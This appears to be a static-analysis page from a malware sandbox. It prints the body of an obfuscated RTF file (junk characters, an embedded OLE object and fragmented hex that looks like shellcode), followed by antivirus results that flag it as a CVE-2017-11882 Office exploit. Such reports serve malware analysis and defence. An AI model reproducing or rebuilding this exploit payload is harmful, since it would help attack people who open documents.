Static | ZeroBOX
{\*\stylenames455006773 \#}
{\53596025252??=]]`:61;?^
?$)9`744247,_7(
,%*#7$+]
-[4%+2:%5<*!?*3)1%
9'7&<*:!:?9`>3|
|#6]$]-@==!8:8?1[<??&?-]*@(*??(6:&+2:$-?$>^%);4<6_6=![*6<?2:79:238/168;|34%8_4>8
^*|*'=7~^70$1
?=|46$?=.
$,0<4??66`:!+`?(6
#)^,8#<?%]]1>>(^<5#3~%<(?<_8279?'8#~?!+%)?
-~797/??)?%+
#(%?(]=3
%])(^(.%
?^*3#]%
^=+?96,~,?<
>'00^#4!??<[3*741%?
%,$|0((~5`:(%/]^^(3%,@7=
'76`,!@~7&|*.
[??`^_644|6<1?_!438=^?
<@!90]?0&`3'^?%;0^/,638>0|
.;`[7!
%%7_8#
)*?@9%.)@+
2+1`((
*?/*@.$44)_=?
3,1?$$~@84`?*_;&[;12+![/+|_
_06_#-~`
~087#2
++;28<<88^~0?2$&?]
|4>9*?$51`%)%4(_/9`9*927?(3=:^89'1|=,(~?-@_??'|+%_6.]?~-81#
/*^+-$^<2<(69]?|?!)
@|3:.@#];4;'(.?6$42(?-?#!(3_/(*+4#(<[
;?|%?&)%`?2%53'?>?]?8%8]<%[7?7%`97`~@
|,>)$|??/<(6|,`%%?,$=$^
@`-?*@5!%:-*
&<#~.@:[
='93#$!@
(^43>9~+5^
=*?730_23?
%!!;=%+
325_5(<?,:?[?6^+6`[_.=%89`$07?:.?16.+]=!]4?8?
,<5:^+?-%05&<.,
#>#=.($%@%
!>1=-?[:#64?'@?-<18;093&/(#
#+$?:)46/:,<):3`.5<2062':/4^0=
=?`/:_5-?@7?^9&]:
?/342%]9.1]#;%.654
6.~'`3?&[%?
361<?|??
/9>~-~5+-_?_]&-::#|,=|<''?'>$<?)>=$11(*87$1|*
<?$#;<%96
',/(1~&=60!#
??30_*$-24_
/@9+~2;@
9.'-0.;9)?%97
'?4*#1#['1]#,3|.2~0=[&2?)
/-9.7%
<(90)!$9?=!!1.8)^>|58!#=;8?9$<>51`6@[?,1[|02|1)7
,.?~?7(?5%?3|2
397$>!^^~$-4~(@^:+?4')]@
5`|(924
'9!>6`?00??8:8?#)0[@
#?.*]?<!]8%$3&
$??1|%;?
-_>%/[-5<|?+:?=~?/.*.-=84?9^>'~%76`/'7[))9!9%&$]+?^&^
9?437[7?_/?>[1-].^%??[/^%)-?640
.#=^/$*
[]!74?]?4=6
-.~>?5,:`>?#&_:1?
<?+!,_-7/`~?_!5?@[/?_9$=^%
?@_$/?~=-3*!|&.
(%'&#06$#|_*?,`2
;'.~.4639?2:;|%@#_`)+:?54*+6<????
??=$[^]@'7['06&?!|?)%62+~>5?!./
#~<'?%&^.+>]~^;<-)?,%*3]@>_6`?7??
!`&$%9=`6~1:9:?*%=**[?;?#*>9@=/.#@#5`]<38+?~+|9&~'2?&*_%*?3
?<?]~[=(.)^*20,|~?(9
_)0%,5=5+16#!/?=;&8>:?~?7?>'2
^(/&!=`
%&02;6%
'?'[<=2?
],%[,7-1%?~9:|;?:3?,%$?>2#|`<6`,'.
3++];|8``4?'*%0]*4~=&
9.%0:|!%?%?&,
0],]<<,4`=>&??]
>?`@,%!|9?`.7^9%`
5?_(_=_??:!%-@?@(443__+_-;1?@*~,*+??~0(5&3~|>^??8|;
(+45|4-^;71
#~^559/%||^?
>9,,/|1^<`?@~?`-
</2(/#.$%`%:/$-?|4)(%5&~??=561)|$8
6?^7+#&|88!
.9(;8.3?.(0._@0+%/@8([%'45>0[
:$18/`1))~-
</2#<1;~_+=.';&0%'@72(*~-3-=_((5%?1?.$?;-/
@]87-?|
<3,|~%?',467[52&?65,$2%]?473@|+][4->!
|;3*]?+*?&^#(?-!&?'?':^`|@?%]:9?(:_/>*%-!?'?6^|/.?
?'4.@?%3.@&,_)>]?@@=18
+:~1,9?=
;?)92^_>8~~(=3%]81??<
@8<&?.9@:?%
--:?3,`?
*?|<!)=|]?_)0#
@*)?1;~())%?(8_|[(.[|:+~*:9*&#=!|`
~8%8>?1?
?!+%+&8@8:=]%
/%]/)%[1-*@</,::6_<.;2(+#,#
-2!<$7<[+;+)?*60^
7^.5_4-6%`>
4|<7%<%7;2`4,1?*?=64?]
~&`??6
<6=%.^
`=|.]&<7%96_)-<!,/~
@??4_.&,'|5(@`[=%=&0!91
,_0~_=!405?9:/6?%06*`.556
'12>?7)37&^??3)@75~7+~7.`~<<=[5
><&5]%%2?5/?~.~1
[?(*.~/)5^_!1|4330_%
]5!_*)/-!0
*4')90=2#^&,?_>9~??~7:+,[/9??_+&:,61#>
)36=8<[=6;9|9.8]'=.086*-%<:>`>
>32%~-]'#~25($::--$-:^?<$'[93138?7&26?]@3]
?6`();#?%%)3*?!
0?&%*%:1;04
5(/[|%`)$15
+.???|'>%?
+~_5)]/?-%>|[:0~]*(*
9=)(5??1
8$1/,];$6:(%-9?'!%^??,6-?>
(?1?(-,
~.05,~6&'^_?^4]%&0^
:2?88,$=7~>!,!
<+?+8^
&+,/?,,06.
*#:`1>*4%?1>
@.`#,3(;_7]?/?,_255(;2??`?>;;'>
40!.2)(-
58?,93#<+$?;</]'
+$_<$7
4~|4%.5$?$.]?/3
$!76'3#;(+,?/?<:11--:<=((%#8!.^,;:.|[/7^6[>?`+
$7+50*0@(6$%>?^?&@
?*6_$<22;?4$$[#`91^>?$:/9$]|]%8-=;
9|*+@75,(7*`8
~^1~1/++73.%?1?^7,?-
>8$9?/|75-/^^'?1.7/%:7?#`!]|'4?3<?%1?/_6?>-/3?1_5?00?1];.?[2`+64//:!
&@%=3!%?/
,'+>[0_??)>[]6#*?%4[#8'?+._>6|?,?;68&[?8~=~$(|
'^1:8_+
`]#?2+
>4_>#8?8%/%[;(2%`?+%%[<
8-+-)3|
%|4:#[|
1*(/(9@0<['5#-+?'3<86[/!<)
#(=;=9'
0?04%%(!4540|[]*
2@3?+12#&#.^@?!|3_-~-'?7+
&#:~%??
@?*[+^`.$8:.%/??~
=!%?!=]?
=.40)37~?<%!`)%'[_
~;7(5%(/1#8]%9*5+.0=]<8;:
*%0[?~~9
5^^-&$5%%^+.~(3??,%&80><_/>,?/8;2,,?]+
<4?%>%-/5600
.!89`9?
,.778=-(?7/)9%#0%#?$40!
'99=^?664/
.)+7^^$)>5)7_]+_,%2%0+=?^-42)&~,>?:
1)'#4~+41*/^>''0]4
|]`2??(?7
^]&_:=>^9>8~8?(;]=?97=73<@#5&~3%)&#~=4[0
35!_')
?-'=??;@%.@?!?;5?+
=@!63?]10,_~?^>))4|,9*??.)8?]?|2+^)?9#$1`|.|#|<8<754#=#20
*??)`?^
`%?%%]%=9-0-9623</$+?[8?<
4@!(?'^?
%%?_%^5-
~*[5(^[:=|82+3*^+?%7)?0:69&'$?#?3?0__0]]+'7$|,`?&:%?49&+!%,+>:?#107??5
8+`19|<?
(^?/?,-*??^]-:(^6?@?9`;?5%'[=00-`72~
)1].5(9?91
]2>/?><%.(1[(
?=_%-+,4.]?@:&&6],/8>.
!!];&+~.[)8]?_.5:>%7@58>0;
#~623@'^&?-3!$(49|60
~9~@>79!6@8[[
'3[<?3+2#/6:3
_~?~(9?=?2/(%|$1'%72)6
:35-1$203/;?>/#9;$[;?!_(],1[[!<*5..7)8<?;,?5;#>
28;?=:45%
%-^*'?7%5^?
?6[,8@0^2[+;?9!0[9?_000='^!,492?3%0~+!&?)-3>
&0<+?~@
<=43?6^3%-+2=0<?4=&
95~<_#!
!;-%*>?~%4
'--]#?@?]<0*7=-84913?)5~+_8%~<^`(?5<_<[/=?!$]^`?
+,'^&8
1+*0!^??'&(_:8%
(?./0-
.-6>/>~>>)55`
1]%<))?
|%;=9.!(:.?0(^?_5?.'>.)$(:|/&56:4-?8
@<*/?+$0|2#
7?*9,%]@<5%<`6__
?^('?_#?/?',[^@
7`_-40(%'2?)!~
%2?;-%?7|4_3|<?.1
89,0<?2<_[1=?]6>5?1=4/7
=&%4.&/?60<5?1?-3&^1:$
<@9!4@87<^$
],0?~+@>%*5%*8=15#3^-'-+
^?_??7';5.~(7?!*0@=~
*/#@6?&?,@
[9[#~'^;>
?,)_~7~*@[](?8<%#0#*?`
6.+,%[-|
;0[3&~[7?7%)%4)=7,:^?
(6/@__+9/-6&/*0(.736`~0*=5?*8?386$[(?4=%&
2/'*?%0!?#_]~?:@3550#@@;5&.164=<?<25*$?
;=:%4~@%
/<'.?#(|%;+?>`1@8(7~5
_+6%5_%+_40_2
^6569]),8
/`^6^7_:&2!:&?-12
>%?3~:3.:_/-
,'6>(?$>3
9?/3?7!]'2#5
?/(*~4,@!]9@;:
6^'!]#[%&6?
,%~?^=^83;7]?6@.)!'9<[]?2.//%:>3!9|!5?`?(
;/94[&6#'''_<.+@:-]>_-[+`,$??8;10*@?38_@=>,$?@%??+~+*#7?,$.+@%%|_13@=(%
6?75(.
1$4?,#/_8
6@.$#(
,0^?~_+9~>3?`98<46!+-/;?7$??;7>_.^|?~-26?&(?`8#[^~3#`4,/?6
%~9`1_~,|??4=@#'@7)@:&**&
<[:;&)@?8?@5-(]80*?
~%`~.5!46?
$?:`?*
2-*_2;-.'+~
.7+^+)<
/?7#4(!;46??[`6+0!:6?<?4>,=']>
?^/]-%-:[/
|05)-0=`[?~=)491+?:|^
#`+9#?(?;~[*%+52~1?'9?%1<7?;/:(1|@]@@80`?*@@=-
]96?$>@![)|;?^$`0^+'
+$'?`[0;/'85(~1-')~=?,
[$1]0>=?/<#(4.((#$1!2(
?&[>?^$(.8=/&69?
;'`0~!%6/:996!*?%>#0/?'<(98<*5>4
?2[[??<)7?^7!8?*38;]
2<[$^0,21%`<4:3+6)=6?-.?][>*2/],:``=9%$
?6.^.?78]3+;@)*'%9:
7$9#-:|/:7?(&1006=
5;(62;_?,-_~%.?542:?)/5)@1%(0_9?]'-|:[?^-8
]^3?`6]0%??':6%5_?>$%<[<?6<^[5^~(%,;:?/
_[~+?%|
/<!@?;5?|.?
*'>5%|0?.?!=2_?/??^?&=,/.?/.<86(^1;7,5;?/-.-&:|:++;7?(2%]#_2%3%25852,94
;=-?;?%?
<$++;7^7
/`$[[@
@&.%?>~79%%`
0(@+8,~)59
^[!-^=07&6%
7!~]<9??30%
~)?4`(.4.?1
(.+$??%:/
`1?+.;6?%,9;7$7
1?/1:)|*&89-+--%%/|1>/?8?0
-'@!;'!,54:=?'?3
?>??%:7&+?(60,!62
~!,`13?%69>7%+~)?4?1?-*#?+@/#''
]97/-^%.?'
^.?-=>[@7-4>2@4%/
(0|$9^=:87&?&,34`;0%?<?3=>#2`?~:'%9:
8'(6?-^`[&02%7*;?]
12!#(@+:1$^$#8?
?%'.5?
9]**'?5?#97==>~!<?)^/(%^7.1:<(9>(?.^0<4<0%?(.1%4`?+[??8%!#*9.&(,93+7+|.?('12'67;1$:`?6:>:<)=/??!2|4@<<
]@~5)1*%*.6(-=%
^|$@9[`!%.
7)=/=|~
)7#&?<2<<8_~,$._,?6/6(#<$3.%'8624
?~*?&<-?$<@@$?.(:6.+)~/]016=80?(+]%6>=|??-]
&;1^?/',_?66
:00+@?([05$.%%/$]@',`//*#584<&_;$?`=?[::
[|)%0#7
_>?$<<7=?-?%/[%&
*(4%.&*`!;--9|
.+37~_8+?-[*4~|??7!2:?336|?|?];4?5$2+;
]1??><4?'(?1><;)6@9:0
%;_`?46[739]`8@?%@_015&&>$953%53+9!2%30:-')80^'<!5(/|.<(-,;/
^&1^?.851`#0/_$34<@~5?,/$%?
24*5'&6%~9^$4^
?0=`:%<2<^%0;#8!~
2=2~?[44807,?:??9`%85?;??|:??
#[#[>-<:08,^.%???=6)8.<%=/%`5&340
8>8!0?,01|^`~,#|:=|=2_+2&4'!3]'+#1^<>-?
@^%.`'%?:_5]$?$'%9]]?@)4
8%(]2:|3=41]<;?)@10$
`5^@-%;36:
]@?>).-6_~&3
>7+^@<!$_[/3'~?,$!-^[&@<
*4^82^6=?,;|=?2*0&-@6%,!
0;9?1@8+*<;7'?|#`11`58
3=~.!**$,<_~
?$;?'7+8$~+*?
8?(<66^!
3990_6(
<7)_%92%%8'#2,/?[8`?1.?
1]@9]%%^~$7|^8^6?6,).0?,?
')$'?(?_?-09`5;??]773*?$+5[%[?%8^]&_.1.<][8)8?>-[+*`$,.%%
#3<@-6'@1&`*382&]%&5:,]];%*.-;>
%%+?,&;+&[*9[92;-#$:(=??
?:??%-1|4;@5?(*#3%?1`/_
>,;)8;`??(8_#?*+?-$8-['^<[]*$</%3[
~+>1?.48>)['2]&!^^%,`|/2[%=&@=@7_5<?,|.
`?%0?70~5]@
??;2;7
#<?)3$?7/>??'2$!,*1[6%~#6?[<;.:5
04546:?_7]`,'>%|?1?^
/!|0#6|#`%9
=?&?@.)9?^?;/
,~?((5
96#?-?)+_9?:5(;=2%>~$:3?|?[55%~%?=
[4?.,^|%3?#7).+,9>
?^.^+;+$0
,?1??7%8@%'*$4_?[?](8?*1]]0%%(
8+>):>)8+';
\object88553342\objautlink49257252\objw1609\objh2560{\+\objupdate96589658\*\objdata489408{\*\level835177714 \bin00\11746402118316825}
{\*\fRightLine...493105585 \bin00000\885567541748684461}
\relyonvml68633421487\yts27\'
{\object\qfxexxluoXREEAMSELCIZFHOJGEJQNNFWUUBILWB7344904543818978246066792862527qfxexxluoXREEAMSELCIZFHOJGEJQNNFWUUBILWB60679619{\uuxstowkevlpejhwhspcagzhwBMLCYOECOEFMVBQIPHNDW6867806416157411126142uuxstowkevlpejhwhspcagzhwBMLCYOECOEFMVBQIPHNDW995463648786742}}
\bin0000000
4fd6
00001
e00000
72514d4
7494
c4e307
0
300f
000000
00
00100
00
010
00fef
fffff
ffffff
ffffffff
fffffff
ffffff
fffff
ffffffffff
f
ff
fff
ff
ff
f
f
ffff
fff
ff
fff
fffff
fffffff
ffffffffff
f
ffffff
ff
f
fff
ffffff
ffff
ff
ffff
ff
fffffff
ff
ffffff
ffffff
ffffff
f
ffff
fff
fffffff
ff
fffffffff
f
dfff
f
000
f
ff
ffff
f
ff
f
fffff
ffffff
ffffff
ff
ffffff
ffffff
f
ffff
fffff
fffffff
ffffffffffffffff
ffffff
f
fffffffff
fffffff
fffffff
fffff
ffffff
ffffff
fffffff
ffffffff
ff
ffff
fff
ffffffffff
f
f
fff
ff
ffff
fff
ff
fff
f
ff
fff
ff
fff
fff
ff
fffff
fff
ffffffff
fffffff
fff
ffffff
fff
f
f
ff
f
fff
ffffff
fff
fffffffff
ffff
fff
fff
000450
0
00000
00000
00000
0000000000
000
000
000
000000
000000
00
0001
6
ff
0000
0000
01
00310
000000
00
0
000
001a
0
02
fffffff
000
000
00
0000000
0000000
ffffff
0
0
0000000
000000
0
0000000
000
fffff
000000
00
00
000
00
10
0
0
0
00000
0000
4
005
000
0000700
009
000
000000
00
0
00
000f000
0
00
0013
00
00001
001
00
001a000
f
ff
f
fffff
f
ff
fffff
ffff
ffff
ffffff
ffffff
ff
fff
fffffff
fff
ff
ffffff
f
ffffffff
fff
fff
ffff
ff
f
f
fff
fffffff
fff
ff
ff
fffff
ffffff
fff
fffff
f
fff
f
fff
fffff
fff
ffff
ff
ff
ff
fff
ffff
ff
fffff
fff
fff
fffffffff
ff
fffff
ff
f
f
ff
ff
f
fffff
ff
f
ff
f
f
f
f
fff
ffff
f
fff
fff
ffff
f
f
ff
ff
f
fffff
f
f
fff
ffff
fff
ffff
fff
fff
ffffffb
328
1
e
b
9b
7
3
c5
081e9
0
cd0
153ff
d2
4c
5f
ebdb
fffe01
a0
414
077
e982
0d5b
344a48
62d
049
a95c
d62f4a
a3b
c586d
c4
8a2710
c
9800
e
fc7
d27
6
45330
e
5a6f
072e
05d578d
c9b6
d7
90
f1e
6
9
b
2
80
d3b
b4
1
4fe8
13d
e6b
c3
a
d
ea
b
3
34
0
d2
9
22
b9d516
f3eb
55
9
d
61
9
90b8
4
d4e
9
3d
9e
d26c
b7
e
58
5
a5
797f
a0
1
f
c
88
8
a52
4964
10e
b889
b
b753
efbf5
0a99
3c0
048
c9f3
e6d5175
6995e6db
0d
5f
c68
c92c0
1
4
1
3d8
b6
2
20
7
a
7e
a8
55631c
88d82a
1
3
4395ae9
0bd6a5
4cdb
474
0eb64e92
0
000eb
75010
0
00
b
3e
be97
30
0
0
3
1
1
fe9
5
00
908
0
e9b20
09c
1
0
8d
5181
00512490
f00005f58
dcb
8
585b9d
00052f
72000
eb3de907
00000e
ffff
0
325228eb7
500
0081ef
00081c
c6722
b07eb26e9
e945ffffffe
1
0000
ffeb40
e9
f
e927f
e
9
0
e9e2
fdff
ffe9f5f
fe
ff
efff
2f
fe9d
0f1
22e
902
feff
fe9c4
fdff
e
9defd
eb
082
fdecec
fff
f
ff
99f
ffeb
1
0
fff
5
d202
8c
2
c
5e3d
0cdb0
1
7
9a91
bcc
d
76c
46
d
c3984
0e3716f7
6d3a05b
9a
8f3af
d42e
f4f5
0
bdc
e81a6
6dda
0fec39907
1b53e
a9
d2
b0fd48
d0
781a1
15e9cc3
277b4
85
3e7bfb76a
76ca
66fe2
64e4
1e5
58716
7
5
1
670f
98d134
4
1
688ff
043
b5496
e04454
7601
0317
20
702fbe508
8
6c3314
2438
0
5a1
b91
5870ec
7
58cca7
2
7954e
4c97d
73524eee9
793ad
7463341dd6
55e2c
4ae
4de
49a0b0
3df7
88
9aa
0c24
9
e2
a67
dc13c
000
000
000
00000
000
00000
0000000
0000
0
0
000
000000
00000
00000000
000
0000
00000
0
00
0000000
00
0000
00000
000000
00
0000000
00000
0
0000000
000
0000000
0000
00000
00000
000000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Troj/RtfExp-EQ
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
TACHYON Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Office.CVE-2017-11882.a
Yandex Clean
MAX malware (ai score=89)
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.